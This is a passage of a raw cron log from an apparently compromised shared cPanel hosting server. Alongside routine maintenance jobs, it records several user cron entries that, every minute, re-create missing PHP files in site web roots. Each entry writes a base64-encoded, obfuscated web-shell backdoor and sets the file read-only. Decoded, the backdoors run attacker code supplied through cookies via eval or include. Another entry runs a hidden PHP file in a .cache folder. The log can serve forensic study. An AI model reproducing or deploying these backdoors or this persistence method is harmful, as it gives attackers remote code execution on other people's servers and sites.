SkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:40:01 medusa CROND[4303]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 02:40:01 medusa CROND[4311]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 02:40:01 medusa CROND[4312]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 02:40:01 medusa CROND[4410]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 02:40:02 medusa CROND[4490]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 02:40:02 medusa CROND[4496]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 02:40:02 medusa CROND[4499]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 02:40:02 medusa CROND[4500]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 02:40:02 medusa CROND[4503]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 02:40:02 medusa CROND[4504]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 02:40:02 medusa CROND[4505]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:40:02 medusa CROND[4506]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 02:40:02 medusa CROND[4507]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 02:40:02 medusa CROND[4511]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 02:40:02 medusa CROND[4512]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 02:40:02 medusa CROND[4513]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 02:40:02 medusa CROND[4514]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:40:02 medusa CROND[4510]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 02:40:02 medusa CROND[4518]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:40:02 medusa CROND[4525]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 02:40:02 medusa CROND[4501]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 02:40:02 medusa CROND[4526]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 02:40:02 medusa CROND[4528]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:40:02 medusa CROND[4529]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 02:40:02 medusa CROND[4524]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 02:40:02 medusa CROND[4523]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 02:40:02 medusa CROND[4534]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 02:40:02 medusa CROND[4549]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 02:41:01 medusa CROND[12060]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 02:41:01 medusa CROND[12059]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 02:41:01 medusa CROND[12061]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:41:01 medusa CROND[12063]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 02:41:01 medusa CROND[12064]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:41:01 medusa CROND[12067]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 02:41:01 medusa CROND[12076]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 02:41:01 medusa CROND[12078]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 02:41:01 medusa CROND[12081]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 02:41:01 medusa CROND[12080]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 02:41:01 medusa CROND[12082]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 02:41:01 medusa CROND[12083]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:41:01 medusa CROND[12086]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:41:01 medusa CROND[12099]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 02:42:01 medusa CROND[17751]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 02:42:01 medusa CROND[17904]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 02:42:01 medusa CROND[17913]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
